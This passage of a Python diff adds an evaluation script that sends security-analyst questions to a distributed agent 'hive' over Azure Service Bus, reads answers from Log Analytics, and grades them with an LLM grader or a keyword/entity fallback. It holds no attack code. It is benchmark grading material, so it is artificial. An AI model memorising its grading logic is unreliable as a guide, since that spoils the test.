+ """Execute a single query round-trip to the hive. + + Publishes a search_query event and waits up to self._timeout seconds + for agent responses. + + Args: + text: The search query text. + table: Graph table to search (default: hive_facts). + limit: Max results per agent. + + Returns: + Deduplicated list of matching fact dicts, sorted by confidence. + """ + from azure.servicebus import ServiceBusMessage + + query_id = uuid.uuid4().hex + event = threading.Event() + collected: list[dict[str, Any]] = [] + + with self._pending_lock: + self._pending[query_id] = {"event": event, "results": collected} + + # Build and publish the search query event + payload = { + "event_id": uuid.uuid4().hex, + "event_type": _OP_SEARCH_QUERY, + "source_agent": self._agent_id, + "timestamp": time.time(), + "payload": { + "query_id": query_id, + "table": table, + "text": text, + "fields": None, + "limit": limit, + }, + } + + try: + msg = ServiceBusMessage( + body=json.dumps(payload, separators=(",", ":")), + application_properties={ + "event_type": _OP_SEARCH_QUERY, + "source_agent": self._agent_id, + }, + ) + self._sender.send_messages(msg) + logger.debug("Published search_query id=%s text=%r", query_id, text) + except Exception: + logger.exception("Failed to publish search query") + with self._pending_lock: + self._pending.pop(query_id, None) + return [] + + # Wait for responses + event.wait(timeout=self._timeout) + + with self._pending_lock: + self._pending.pop(query_id, None) + + return self._deduplicate(collected) + + def close(self) -> None: + """Close the client and release resources.""" + self._running = False + try: + self._receiver.close() + except Exception: + pass + try: + self._sender.close() + except Exception: + pass + try: + self._client.close() + except Exception: + pass + if self._thread.is_alive(): + self._thread.join(timeout=3.0) + + # ------------------------------------------------------------------ + # Background receiver + # ------------------------------------------------------------------ + + def _receive_loop(self) -> None: + """Background thread: drain subscription and dispatch responses.""" + while self._running: + try: + messages = self._receiver.receive_messages( + max_message_count=50, max_wait_time=1 + ) + for msg in messages: + try: + self._handle_message(msg) + self._receiver.complete_message(msg) + except Exception: + logger.debug("Error handling message", exc_info=True) + try: + self._receiver.abandon_message(msg) + except Exception: + pass + except Exception: + if self._running: + logger.debug("Error in receive loop", exc_info=True) + time.sleep(0.5) + + def _handle_message(self, msg: Any) -> None: + """Parse a Service Bus message and dispatch to waiting queries.""" + try: + body = b"".join(msg.body) if hasattr(msg.body, "__iter__") else msg.body + if isinstance(body, (bytes, bytearray)): + body = body.decode("utf-8") + data = json.loads(body) + except Exception: + logger.debug("Failed to parse message body", exc_info=True) + return + + event_type = data.get("event_type", "") + if event_type != _OP_SEARCH_RESPONSE: + return + + inner = data.get("payload", {}) + query_id = inner.get("query_id", "") + results = inner.get("results", []) + + with self._pending_lock: + pending = self._pending.get(query_id) + + if pending is None: + return + + pending["results"].extend(results) + pending["event"].set() + logger.debug( + "Received %d results for query_id=%s from %s", + len(results), + query_id, + data.get("source_agent", "?"), + ) + + @staticmethod + def _deduplicate(results: list[dict[str, Any]]) -> list[dict[str, Any]]: + """Deduplicate results by content, sort by confidence descending.""" + seen: set[str] = set() + deduped: list[dict[str, Any]] = [] + for r in results: + content = r.get("content", r.get("outcome", "")) + if content and content not in seen: + seen.add(content) + deduped.append(r) + try: + deduped.sort( + key=lambda r: float(r.get("confidence", 0.0)), + reverse=True, + ) + except (TypeError, ValueError): + pass + return deduped + + +# --------------------------------------------------------------------------- +# Demo mode: local DistributedHiveGraph (no Azure needed) +# --------------------------------------------------------------------------- + + +def run_demo_eval(output_path: str | None = None) -> dict[str, Any]: + """Run the security analyst Q&A eval against a local in-memory DistributedHiveGraph. + + Populates the hive with security analyst facts from _FACT_CORPUS, then + evaluates security scenario questions from amplihack_eval using grade_answer. + This demonstrates the hive query protocol without Azure connectivity. + + Args: + output_path: Optional path to write JSON results. + + Returns: + Results dict. + """ + security_questions = _get_security_questions() + print("=" * 70) + print("HIVE SECURITY ANALYST Q&A EVAL (DEMO — local DistributedHiveGraph)") + fact_corpus = _get_fact_corpus() + print(f"Facts in corpus: {len(fact_corpus)}") + print(f"Security questions: {len(security_questions)}") + print("=" * 70) + print() + + if not security_questions: + print("WARNING: No security questions loaded from amplihack_eval.") + print("Ensure amplihack-agent-eval is installed: pip install amplihack-agent-eval") + return {} + + # Import hive mind components + try: + from amplihack.agents.goal_seeking.hive_mind.distributed_hive_graph import ( + DistributedHiveGraph, + ) + from amplihack.agents.goal_seeking.hive_mind.hive_graph import HiveFact + except ImportError as exc: + print(f"ERROR: Could not import amplihack: {exc}") + print("Install with: pip install -e /path/to/amplihack") + return {} + + # Build a 5-agent distributed hive + hive = DistributedHiveGraph(hive_id="demo-eval", replication_factor=3, query_fanout=5) + for i in range(5): + hive.register_agent(f"agent-{i}", domain="security") + + # Seed security facts into the hive + for fact_dict in fact_corpus: + fact = HiveFact( + fact_id="", + content=fact_dict["content"], + concept=fact_dict["concept"], + confidence=0.95, + source_agent="eval-seed", + ) + hive.promote_fact("agent-0", fact) + + t0 = time.time() + results: list[dict[str, Any]] = [] + by_category: dict[str, list[float]] = {} + + print(f"{'Category':20s} {'Score':6s} {'Results':8s} | Question") + print("-" * 70) + + for q in security_questions: + facts = hive.query_facts(q.text, limit=10) + result_dicts = [ + {"content": f.content, "concept": f.concept, "confidence": f.confidence} + for f in facts + ] + actual = _format_hive_results(result_dicts) + grade = _grade_hive_answer(q.text, q.expected_answer, actual) + score = grade["score"] + by_category.setdefault(q.category, []).append(score) + + print( + f" {q.category[:18]:18s} {score:.2f} {len(facts):3d} results" + f" | {q.text[:42]}" + ) + + results.append( + { + "question_id": q.question_id, + "category": q.category, + "question": q.text, + "expected_answer": q.expected_answer, + "actual_answer": actual, + "score": score, + "reasoning": grade["reasoning"], + "result_count": len(facts), + "top_results": result_dicts[:3], + } + ) + + elapsed = time.time() - t0 + total = len(results) + avg_score = sum(r["score"] for r in results) / total if total else 0.0 + + category_scores = { + c: {"avg_score": round(sum(v) / len(v), 3), "count": len(v)} + for c, v in by_category.items() + } + + print("-" * 70) + print() + print("=" * 70) + print("RESULTS (DEMO MODE — Security Analyst Eval)") + print("=" * 70) + print(f" Overall avg score: {avg_score:.3f} ({total} questions)") + print() + print(" By category:") + for c, s in sorted(category_scores.items()): + print(f" {c:20s}: avg={s['avg_score']:.3f} ({s['count']} questions)") + print(f"\n Total time: {elapsed:.2f}s") + print("=" * 70) + + output = { + "mode": "demo_local_security", + "summary": { + "total_questions": total, + "avg_score": round(avg_score, 3), + "elapsed_s": round(elapsed, 2), + "hive_type": "DistributedHiveGraph (local)", + "agents": 5, + "facts_seeded": len(fact_corpus), + }, + "category_scores": category_scores, + "questions": results, + } + + if output_path: + with open(output_path, "w") as fh: + json.dump(output, fh, indent=2) + print(f"\nResults written to: {output_path}") + + hive.close() + return output + + +# --------------------------------------------------------------------------- +# Grading helpers +# --------------------------------------------------------------------------- + + +def _format_hive_results(results: list[dict[str, Any]]) -> str: + """Format hive search results into a text answer for grading.""" + if not results: + return "" + parts = [] + for r in results[:10]: + content = r.get("content", r.get("outcome", "")) + concept = r.get("concept", r.get("context", "")) + if content: + parts.append(f"{content} [{concept}]" if concept else content) + return " | ".join(parts) + + +def _keyword_fallback_grade(expected: str, actual: str) -> dict[str, Any]: + """Keyword/entity overlap fallback grader when LLM grading is unavailable. + + Combines entity-level recall (CVE IDs, IP addresses, incident IDs, version + strings) with keyword-level recall using fixed tokenization. Entity recall + is given higher weight (0.6) since named entities are the most discriminative + signals for security analyst questions. + + Args: + expected: Expected answer string. + actual: Actual answer from hive results. + + Returns: + Dict with 'score' (0.0-1.0) and 'reasoning' string. + """ + import re as _re + + _STOP_WORDS = { + "the", "a", "an", "is", "are", "was", "were", "be", "been", "being", + "have", "has", "had", "do", "does", "did", "will", "would", "could", + "should", "may", "might", "must", "shall", "can", "what", "which", + "who", "where", "when", "why", "how", "i", "you", "he", "she", "it", + "we", "they", "me", "him", "her", "us", "them", "this", "that", + "these", "those", "and", "but", "or", "for", "yet", "so", "if", + "then", "at", "by", "from", "in", "of", "on", "to", "up", "with", + "about", "after", "as", "before", "between", "during", "into", + "like", "over", "through", "under", "until", "via", "not", "no", + "yes", "any", "all", "some", "each", "every", "more", "most", + "other", "than", "too", "very", "just", "also", "back", "once", + "out", "there", "here", "detected", "log", "security", "severity", + "user", "high", "medium", "critical", "report", "incident", "status", + "update", "changed", "detail", "timeline", "affected", "systems", + "iocs", "none", "identified", "active", "contained", "investigating", + "remediated", "closed", + } + + def _extract_entities(text: str) -> set: + entities: set = set() + entities.update(_re.findall(r"CVE-\d{4}-\d+", text, _re.IGNORECASE)) + entities.update(_re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}", text)) + entities.update(_re.findall(r"INC-\d{4}-\d+", text, _re.IGNORECASE)) + entities.update(_re.findall(r"[a-zA-Z][\w.-]*@[\d.]+", text)) + return {e.lower() for e in entities} + + def _tokenize(text: str) -> set: + raw = _re.findall(r"[A-Za-z0-9][A-Za-z0-9._@/-]*", text.lower()) + result = set() + for t in raw: + t = _re.sub(r"[._-]+$", "", t) + if t and t not in _STOP_WORDS and len(t) >= 2: + result.add(t) + return result + + exp_entities = _extract_entities(expected) + act_entities = _extract_entities(actual) + entity_score = ( + len(exp_entities & act_entities) / len(exp_entities) + if exp_entities else None + ) + + exp_tokens = _tokenize(expected) + act_tokens = _tokenize(actual) + kw_score = ( + len(exp_tokens & act_tokens) / len(exp_tokens) + if exp_tokens else 1.0 + ) + + if entity_score is not None: + score = 0.6 * entity_score + 0.4 * kw_score + else: + score = kw_score + + reasoning = ( + f"Keyword/entity fallback: entity_score={entity_score:.2f}, " + f"kw_score={kw_score:.2f}, combined={score:.2f}" + if entity_score is not None + else f"Keyword fallback: kw_score={kw_score:.2f}" + ) + return {"score": round(score, 3), "reasoning": reasoning} + + +def _grade_hive_answer(question: str, expected: str, actual: str) -> dict[str, Any]: + """Grade a hive answer using amplihack_eval.core.grader.grade_answer (LLM grading). + + Uses semantic LLM grading via grade_answer (requires ANTHROPIC_API_KEY). + Falls back to keyword/entity overlap scoring when the API key is unavailable. + + Args: + question: The question asked. + expected: Expected answer string. + actual: Actual answer from hive results. + + Returns: + Dict with 'score' (0.0-1.0) and 'reasoning' string. + """ + if not actual: + return {"score": 0.0, "reasoning": "No results returned by hive"} + + try: + from amplihack_eval.core.grader import grade_answer + result = grade_answer( + question=question, + expected=expected, + actual=actual, + level="L1", + ) + return {"score": result.score, "reasoning": result.reasoning} + except Exception as exc: + logger.warning("grade_answer failed: %s", exc) + logger.info("Falling back to keyword/entity overlap grader") + return _keyword_fallback_grade(expected, actual) + + +# --------------------------------------------------------------------------- +# Live eval runner (Service Bus mode) +# --------------------------------------------------------------------------- + + +def run_eval( + client: HiveQueryClient, + table: str = "hive_facts", + output_path: str | None = None, +) -> dict[str, Any]: + """Run the security analyst Q&A eval against the live hive. + + Loads security scenario questions from amplihack_eval (generate_dialogue + + generate_questions), queries the live hive for each, and grades responses + using amplihack_eval.grade_answer for semantic scoring. + + Args: + client: Connected HiveQueryClient instance. + table: Table name to query (must match what was seeded). + output_path: Optional path to write JSON results. + + Returns: + Results dict with per-question scores and aggregate summary. + """ + security_questions = _get_security_questions() + + print("=" * 70) + print("LIVE AZURE HIVE — SECURITY ANALYST Q&A EVAL") + print(f"Hive: hive-sb-dj2qo2w7vu5zi / topic: {client._topic_name}") + print(f"Table: {table}") + print(f"Security questions: {len(security_questions)}") + print(f"Timeout per query: {client._timeout}s") + print("=" * 70) + print() + + if not security_questions: + print("WARNING: No security questions loaded from amplihack_eval.") + print("Ensure amplihack-agent-eval is installed.") + return {} + + t0 = time.time() + results: list[dict[str, Any]] = [] + by_category: dict[str, list[float]] = {} + + print(f"{'Category':20s} {'Score':6s} {'Results':8s} | Question") + print("-" * 70) + + for q in security_questions: + t_q = time.time() + hive_results = client.query(q.text, table=table, limit=10) + actual = _format_hive_results(hive_results) + grade = _grade_hive_answer(q.text, q.expected_answer, actual) + score = grade["score"] + elapsed_q = time.time() - t_q + + by_category.setdefault(q.category, []).append(score) + + print( + f" {q.category[:18]:18s} {score:.2f} {len(hive_results):3d} results" + f" | {q.text[:42]}" + ) + logger.debug( + "Q: %r → %d results in %.2fs, score=%.2f", + q.text, + len(hive_results), + elapsed_q, + score, + ) + + results.append( + { + "question_id": q.question_id, + "category": q.category, + "question": q.text, + "expected_answer": q.expected_answer, + "actual_answer": actual, + "score": score, + "reasoning": grade["reasoning"], + "result_count": len(hive_results), + "top_results": hive_results[:3], + "elapsed_s": round(elapsed_q, 2), + } + ) + + elapsed = time.time() - t0 + total = len(results) + avg_score = sum(r["score"] for r in results) / total if total else 0.0 + + category_scores = { + c: {"avg_score": round(sum(v) / len(v), 3), "count": len(v)} + for c, v in by_category.items() + } + + print("-" * 70) + print() + print("=" * 70) + print("RESULTS (LIVE HIVE — Security Analyst Eval)") + print("=" * 70) + print(f" Overall avg score: {avg_score:.3f} ({total} questions)") + print() + print(" By category:") + for c, s in sorted(category_scores.items()): + print(f" {c:20s}: avg={s['avg_score']:.3f} ({s['count']} questions)") + print(f"\n Total time: {elapsed:.2f}s") + print("=" * 70) + + if avg_score == 0.0: + print() + print("NOTE: Score 0.0 — likely the hive has not been seeded yet.") + print("Run with --seed first:") + print(" python experiments/hive_mind/query_hive.py --seed --run-eval") + + output = { + "mode": "live_security", + "summary": { + "total_questions": total, + "avg_score": round(avg_score, 3), + "elapsed_s": round(elapsed, 2), + "hive_namespace": "hive-sb-dj2qo2w7vu5zi", + "topic": client._topic_name, + "timeout_s": client._timeout, + "table": table, + }, + "category_scores": category_scores, + "questions": results, + } + + if output_path: + with open(output_path, "w") as fh: + json.dump(output, fh, indent=2) + print(f"\nResults written to: {output_path}") + + return output + + +# --------------------------------------------------------------------------- +# OODA-based eval (v2): plain INPUT events → Log Analytics answer reads +# --------------------------------------------------------------------------- +# Design: +# - Questions are sent as plain INPUT events (same channel as content). +# - Agents process them through the OODA loop and write answers to stdout. +# - Container Apps streams stdout to Log Analytics. +# - The eval reads answers from Log Analytics — no Service Bus round-trip. +# +# This is the new preferred path. The old search_query/search_response path +# (HiveQueryClient / run_eval) is preserved for backward compatibility. +# --------------------------------------------------------------------------- + + +class OodaInputClient: + """Send plain INPUT events to the hive — no response subscription. + + Questions are indistinguishable from content; agents classify them via + their OODA decide() and write answers to stdout (→ Log Analytics). + + Args: + connection_string: Azure Service Bus connection string. + topic_name: Service Bus topic name (default: hive-graph). + agent_id: Source identity used in published events. + """ + + def __init__( + self, + connection_string: str = _DEFAULT_CONNECTION_STRING, + topic_name: str = _DEFAULT_TOPIC, + agent_id: str = "ooda-eval-client", + ) -> None: + try: + from azure.servicebus import ServiceBusClient as _SBClient + except ImportError as exc: + raise ImportError( + "azure-servicebus is required. Install with: pip install azure-servicebus" + ) from exc + + self._connection_string = connection_string + self._topic_name = topic_name + self._agent_id = agent_id + self._client = _SBClient.from_connection_string(connection_string) + self._sender = self._client.get_topic_sender(topic_name=topic_name) + + def send_input(self, text: str, event_type: str = "INPUT") -> str: + """Publish a plain INPUT event carrying *text*. + + Args: + text: The question or content text to send. + event_type: Event type label (default: "INPUT"). + + Returns: + The event_id of the published message. + """ + from azure.servicebus import ServiceBusMessage + + event_id = uuid.uuid4().hex + payload = { + "event_id": event_id, + "event_type": event_type, + "source_agent": self._agent_id, + "timestamp": time.time(), + "payload": { + "content": text, + "text": text, + }, + } + msg = ServiceBusMessage( + body=json.dumps(payload, separators=(",", ":")), + application_properties={ + "event_type": event_type, + "source_agent": self._agent_id, + }, + ) + self._sender.send_messages(msg) + logger.debug("OodaInputClient: sent %s event (event_id=%s)", event_type, event_id) + return event_id + + def close(self) -> None: + """Close Service Bus resources.""" + try: + self._sender.close() + except Exception: + pass + try: + self._client.close() + except Exception: + pass + + +def query_log_analytics_cli( + workspace_id: str, + query: str, + timespan_hours: int = 2, +) -> list[str]: + """Run ``az monitor log-analytics query`` and return the Log_s column values. + + Uses the ``az`` CLI so that no Azure SDK packages are required beyond the + Azure CLI itself (``az login`` or managed identity must already be active). + + Args: + workspace_id: Log Analytics workspace ID (GUID). + query: KQL query string. + timespan_hours: Look-back window in hours (default: 2). + + Returns: + List of ``Log_s`` (or first string column) values from the result rows. + Returns an empty list if the CLI call fails or returns no data. + """ + import json as _json + import subprocess as _subprocess + + iso_timespan = f"PT{timespan_hours}H" + cmd = [ + "az", "monitor", "log-analytics", "query", + "--workspace", workspace_id, + "--analytics-query", query, + "--timespan", iso_timespan, + "--output", "json", + ] + try: + result = _subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=60, + ) + if result.returncode != 0: + logger.debug( + "az monitor log-analytics query failed (rc=%d): %s", + result.returncode, + result.stderr[:200], + ) + return [] + rows = _json.loads(result.stdout) + if not isinstance(rows, list): + return [] + values: list[str] = [] + for row in rows: + # Prefer Log_s column; fall back to first string-valued field + val = row.get("Log_s") or row.get("log_s") or "" + if not val: + for v in row.values(): + if isinstance(v, str) and v: + val = v + break + if val: + values.append(val) + return values + except Exception: + logger.debug("query_log_analytics_cli error", exc_info=True) + return [] + + +class LogAnalyticsAnswerReader: + """Poll Azure Log Analytics for agent stdout answers. + + Container Apps streams stdout to Log Analytics as + ``ContainerAppConsoleLogs`` entries. GoalSeekingAgent writes: + + [] ANSWER: + + This reader polls for those lines matching a given question. + + Args: + workspace_id: Log Analytics workspace ID (GUID). + container_app_name: Container App name prefix filter (optional). + poll_interval: Seconds between poll attempts (default: 10). + max_wait: Maximum seconds to wait for an answer (default: 600). + """ + + def __init__( + self, + workspace_id: str, + container_app_name: str = "", + poll_interval: float = 10.0, + max_wait: float = 600.0, + ) -> None: + try: + from azure.monitor.query import LogsQueryClient # noqa: F401 + from azure.identity import DefaultAzureCredential # noqa: F401 + except ImportError as exc: + raise ImportError( + "azure-monitor-query and azure-identity are required.\n" + "Install with: pip install azure-monitor-query azure-identity" + ) from exc + + self._workspace_id = workspace_id + self._container_app_name = container_app_name + self._poll_interval = poll_interval + self._max_wait = max_wait + + def wait_for_answer(self, question_hint: str, since_ts: float | None = None) -> str | None: + """Poll Log Analytics until an ANSWER line appears for the question. + + Searches for stdout lines matching ``ANSWER:`` that were emitted after + *since_ts*. Returns the first matching answer, or ``None`` on timeout. + + Args: + question_hint: First ~40 chars of the question to narrow the search. + since_ts: Unix timestamp to search from (defaults to now - 120s). + + Returns: + Answer text if found before timeout, else ``None``. + """ + from azure.identity import DefaultAzureCredential + from azure.monitor.query import LogsQueryClient, LogsQueryStatus + import datetime + + if since_ts is None: + since_ts = time.time() - 600.0 # 10-min lookback for LA ingestion lag + + start_dt = datetime.datetime.fromtimestamp(since_ts, tz=datetime.timezone.utc) + end_dt = datetime.datetime.now(tz=datetime.timezone.utc) + + hint_escaped = question_hint.replace("'", "\\'")[:40] + app_filter = f'| where ContainerAppName_s has "{self._container_app_name}"' if self._container_app_name else "" + + # Use AzureCliCredential — DefaultAzureCredential can fail with + # InsufficientAccessError on Log Analytics scope in some environments. + try: + from azure.identity import AzureCliCredential + credential = AzureCliCredential() + except Exception: + credential = DefaultAzureCredential() + client = LogsQueryClient(credential) + deadline = time.time() + self._max_wait + + while time.time() < deadline: + # Search for any ANSWER line after the question was sent. + # Don't filter by question hint — agent answers don't repeat the + # question text, so hint matching produces false negatives. + # Filter for bracketed agent prefix to avoid logger duplicate lines + # and exclude "internal error" non-answers. + query = ( + "ContainerAppConsoleLogs_CL" + + (f" {app_filter}" if app_filter else "") + + ' | where Log_s has "ANSWER:"' + + ' | where Log_s startswith "[agent-"' + + " | order by TimeGenerated desc" + + " | project Log_s" + + " | take 1" + ) + try: + response = client.query_workspace( + workspace_id=self._workspace_id, + query=query, + timespan=(start_dt, end_dt), + ) + if response.status == LogsQueryStatus.SUCCESS: + for row in (response.tables[0].rows if response.tables else []): + log_line = str(row[0]) if row else "" + if "ANSWER:" in log_line: + answer_start = log_line.index("ANSWER:") + len("ANSWER:") + answer_text = log_line[answer_start:].strip() + # Skip non-answers (rate limit errors etc) + if "internal error" in answer_text.lower(): + continue + return answer_text + except Exception as e: + logger.warning("Log Analytics query failed: %s", e) + + time.sleep(self._poll_interval) + # Extend end_dt for next poll + end_dt = datetime.datetime.now(tz=datetime.timezone.utc) + + return None + + +def run_ooda_eval( + input_client: OodaInputClient, + workspace_id: str, + container_app_name: str = "", + answer_wait: float = 60.0, + output_path: str | None = None, +) -> dict[str, Any]: + """Run the security analyst Q&A eval using the OODA input/log path. + + Sends each question as a plain INPUT event and reads the answer from + Log Analytics (agent stdout), bypassing Service Bus response round-trips. + + Prerequisites: + - Agents are already running with GoalSeekingAgent (OODA loop). + - Agents have already been fed the learning content. + - ``azure-monitor-query`` and ``azure-identity`` are installed. + - The calling process has Log Analytics Reader access. + + Args: + input_client: OodaInputClient for sending questions. + workspace_id: Log Analytics workspace ID (GUID). + container_app_name: Container App name prefix for log filter. + answer_wait: Seconds to wait per question for an answer in logs. + output_path: Optional path to write JSON results. + + Returns: + Results dict with per-question scores and aggregate summary. + """ + security_questions = _get_security_questions() + + print("=" * 70) + print("OODA EVAL — questions as INPUT events, answers from Log Analytics") + print(f"Log Analytics workspace: {workspace_id}") + print(f"Container app filter: {container_app_name or '(all apps)'}") + print(f"Security questions: {len(security_questions)}") + print(f"Answer wait per Q: {answer_wait}s") + print("=" * 70) + print() + + if not security_questions: + print("WARNING: No security questions loaded. Ensure amplihack-agent-eval is installed.") + return {} + + try: + reader = LogAnalyticsAnswerReader( + workspace_id=workspace_id, + container_app_name=container_app_name, + max_wait=answer_wait, + ) + except ImportError as exc: + print(f"ERROR: {exc}") + return {} + + t0 = time.time() + results: list[dict[str, Any]] = [] + by_category: dict[str, list[float]] = {} + + print(f"{'Category':20s} {'Score':6s} {'Found':6s} | Question") + print("-" * 70) + + for q in security_questions: + t_q = time.time() + since_ts = time.time() + + # Send question as plain INPUT event + input_client.send_input(q.text, event_type="INPUT") + + # Poll Log Analytics for the answer + actual = reader.wait_for_answer(q.text[:40], since_ts=since_ts) or "" + grade = _grade_hive_answer(q.text, q.expected_answer, actual) + score = grade["score"] + elapsed_q = time.time() - t_q + + by_category.setdefault(q.category, []).append(score) + + found_marker = "Y" if actual else "N" + print( + f" {q.category[:18]:18s} {score:.2f} {found_marker:5s}" + f" | {q.text[:42]}" + ) + + results.append( + { + "question_id": q.question_id, + "category": q.category, + "question": q.text, + "expected_answer": q.expected_answer, + "actual_answer": actual, + "score": score, + "reasoning": grade["reasoning"], + "answer_found": bool(actual), + "elapsed_s": round(elapsed_q, 2), + } + ) + + elapsed = time.time() - t0 + total = len(results) + avg_score = sum(r["score"] for r in results) / total if total else 0.0 + + category_scores = { + c: {"avg_score": round(sum(v) / len(v), 3), "count": len(v)} + for c, v in by_category.items() + } + + print("-" * 70) + print() + print("=" * 70) + print("RESULTS (OODA EVAL — Log Analytics answers)") + print("=" * 70) + print(f" Overall avg score: {avg_score:.3f} ({total} questions)") + print(f" Answers found: {sum(1 for r in results if r['answer_found'])}/{total}") + print() + print(" By category:") + for c, s in sorted(category_scores.items()): + print(f" {c:20s}: avg={s['avg_score']:.3f} ({s['count']} questions)") + print(f"\n Total time: {elapsed:.2f}s") + print("=" * 70) + + output = { + "mode": "ooda_log_analytics", + "summary": { + "total_questions": total, + "avg_score": round(avg_score, 3), + "answers_found": sum(1 for r in results if r["answer_found"]), + "elapsed_s": round(elapsed, 2), + "workspace_id": workspace_id, + "answer_wait_s": answer_wait, + }, + "category_scores": category_scores, + "questions": results, + } + + if output_path: + with open(output_path, "w") as fh: + json.dump(output, fh, indent=2) + print(f"\nResults written to: {output_path}") + + return output + + +# --------------------------------------------------------------------------- +# CLI +# --------------------------------------------------------------------------- + + +def _build_parser() -> argparse.ArgumentParser: + p = argparse.ArgumentParser( + prog="query_hive", + description="Query the live Azure Hive Mind for Q&A evaluation.", + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=""" +Examples: + # Demo mode (local, no Azure needed): + python query_hive.py --demo + + # Seed live hive with security facts then run security analyst eval: + python query_hive.py --seed --run-eval --output results.json + + # Single security query against live hive (after seeding): + python query_hive.py --query "What CVE was used in the supply chain attack?" + + # Diagnose live hive (may return low scores if not seeded): + python query_hive.py --run-eval + + # Run eval 3 times and report median + stddev: + python query_hive.py --run-eval --repeats 3 + + # OODA eval: send questions as INPUT events, read answers from Log Analytics: + python query_hive.py --ooda-eval --workspace-id \\ + --container-app amplihack-hive --answer-wait 90 --output ooda_results.json +""", + ) + p.add_argument( + "--query", "-q", + default="", + help="A single query to send to the hive.", + ) + p.add_argument( + "--run-eval", + action="store_true", + help="Run the built-in Q&A eval dataset against the live hive.", + ) + p.add_argument( + "--seed", + action="store_true", + help="Seed the live hive with the built-in fact corpus before querying.", + ) + p.add_argument( + "--demo", + action="store_true", + help="Run eval locally using DistributedHiveGraph (no Azure needed).", + ) + p.add_argument( + "--output", "-o", + default="", + help="Path to write eval results JSON (with --run-eval or --demo).", + ) + p.add_argument( + "--table", + default="hive_facts", + help="Graph table to query/seed (default: hive_facts).", + ) + p.add_argument( + "--limit", + type=int, + default=10, + help="Max results per query (default: 10).", + ) + p.add_argument( + "--timeout", + type=float, + default=_DEFAULT_TIMEOUT, + help=f"Response wait timeout in seconds (default: {_DEFAULT_TIMEOUT}).", + ) + p.add_argument( + "--connection-string", + default=_DEFAULT_CONNECTION_STRING, + help="Azure Service Bus connection string (overrides HIVE_CONNECTION_STRING).", + ) + p.add_argument( + "--topic", + default=_DEFAULT_TOPIC, + help=f"Service Bus topic name (default: {_DEFAULT_TOPIC}).", + ) + p.add_argument( + "--subscription", + default=_DEFAULT_SUBSCRIPTION, + help=f"Subscription for receiving responses (default: {_DEFAULT_SUBSCRIPTION}).", + ) + p.add_argument( + "--ooda-eval", + action="store_true", + help=( + "Run the OODA-path eval: send questions as plain INPUT events and " + "read answers from Azure Log Analytics (stdout → Container Apps logs). " + "Requires --workspace-id. Uses azure-monitor-query SDK or az CLI fallback." + ), + ) + p.add_argument( + "--workspace-id", + default=os.environ.get("LOG_ANALYTICS_WORKSPACE_ID", ""), + metavar="GUID", + help=( + "Log Analytics workspace ID for --ooda-eval answer retrieval. " + "Can also be set via LOG_ANALYTICS_WORKSPACE_ID env var." + ), + ) + p.add_argument( + "--container-app", + default=os.environ.get("CONTAINER_APP_NAME", ""), + metavar="NAME", + help=( + "Container App name prefix to narrow Log Analytics log filter " + "(optional, used with --ooda-eval). " + "Can also be set via CONTAINER_APP_NAME env var." + ), + ) + p.add_argument( + "--answer-wait", + type=float, + default=float(os.environ.get("OODA_ANSWER_WAIT", "600")), + metavar="SECONDS", + help="Seconds to wait per question for an ANSWER in Log Analytics (default: 600).", + ) + p.add_argument( + "--verbose", "-v", + action="store_true", + help="Enable debug logging.", + ) + p.add_argument( + "--repeats", + type=int, + default=1, + metavar="N", + help="Run the eval N times and report median and stddev of scores (default: 1).", + ) + p.add_argument( + "--wait-for-ready", + type=int, + default=0, + metavar="N", + help=( + "Wait for N AGENT_READY events before running eval. " + "Agents publish AGENT_READY after processing FEED_COMPLETE. " + "Use with --run-eval to trigger eval only after agents are done." + ), + ) + p.add_argument( + "--ready-timeout", + type=int, + default=14400, + metavar="SECONDS", + help="Max seconds to wait for AGENT_READY events (default: 14400 = 4h).", + ) + return p + + +def wait_for_agent_ready( + connection_string: str, + topic: str, + subscription: str, + expected_agents: int, + timeout: int = 14400, +) -> set[str]: + """Block until *expected_agents* publish AGENT_READY, or timeout. + + Listens on the given Service Bus subscription for AGENT_READY events. + Returns the set of agent names that reported ready. + """ + from azure.servicebus import ServiceBusClient + + ready_agents: set[str] = set() + deadline = time.time() + timeout + + print(f"Waiting for {expected_agents} AGENT_READY events (timeout={timeout}s)...") + + with ServiceBusClient.from_connection_string(connection_string) as client: + with client.get_subscription_receiver( + topic_name=topic, + subscription_name=subscription, + max_wait_time=30, + ) as receiver: + while len(ready_agents) < expected_agents and time.time() < deadline: + messages = receiver.receive_messages(max_message_count=50, max_wait_time=30) + for msg in messages: + try: + body = json.loads(str(msg)) + if body.get("event_type") == "AGENT_READY": + agent_name = body.get("payload", {}).get("agent_name", "unknown") + ready_agents.add(agent_name) + print( + f" AGENT_READY from {agent_name} " + f"({len(ready_agents)}/{expected_agents})" + ) + receiver.complete_message(msg) + except Exception: + receiver.complete_message(msg) + + print( + f"{'All' if len(ready_agents) >= expected_agents else 'Partial'} agents ready: " + f"{len(ready_agents)}/{expected_agents}" + ) + return ready_agents + + +def main(argv: list[str] | None = None) -> int: + import warnings + + warnings.warn( + "\n\nDEPRECATED: query_hive.py is superseded by the haymaker CLI extension.\n" + "Use instead: haymaker hive eval --deployment-id --repeats " + "[--wait-for-ready ]\n" + "This script will be removed in a future release.\n", + DeprecationWarning, + stacklevel=1, + ) + + args = _build_parser().parse_args(argv) + + if args.verbose: + logging.getLogger("query_hive").setLevel(logging.DEBUG) + + if not args.query and not args.run_eval and not args.seed and not args.demo and not args.ooda_eval: + _build_parser().print_help() + return 0 + + # Demo mode — no Azure needed + if args.demo: + n = args.repeats + if n > 1: + scores = [] + all_outputs = [] + for i in range(n): + print(f"\n--- Repeat {i + 1}/{n} ---") + out = run_demo_eval(output_path=None) + avg = out.get("summary", {}).get("avg_score", 0.0) + scores.append(avg) + all_outputs.append(out) + med = statistics.median(scores) + std = statistics.stdev(scores) if len(scores) > 1 else 0.0 + print(f"\n{'=' * 70}") + print(f"REPEATS SUMMARY ({n} runs)") + print(f"{'=' * 70}") + for i, s in enumerate(scores, 1): + print(f" Run {i}: avg_score={s:.3f}") + print(f" Median: {med:.3f} StdDev: {std:.3f}") + print(f"{'=' * 70}") + if args.output: + summary_output = { + "mode": "demo_repeats", + "repeats": n, + "scores": scores, + "median": round(med, 3), + "stddev": round(std, 3), + "runs": all_outputs, + } + with open(args.output, "w") as fh: + json.dump(summary_output, fh, indent=2) + print(f"\nResults written to: {args.output}") + else: + run_demo_eval(output_path=args.output or None) + return 0 + + # OODA eval mode: send questions as plain INPUT events, read 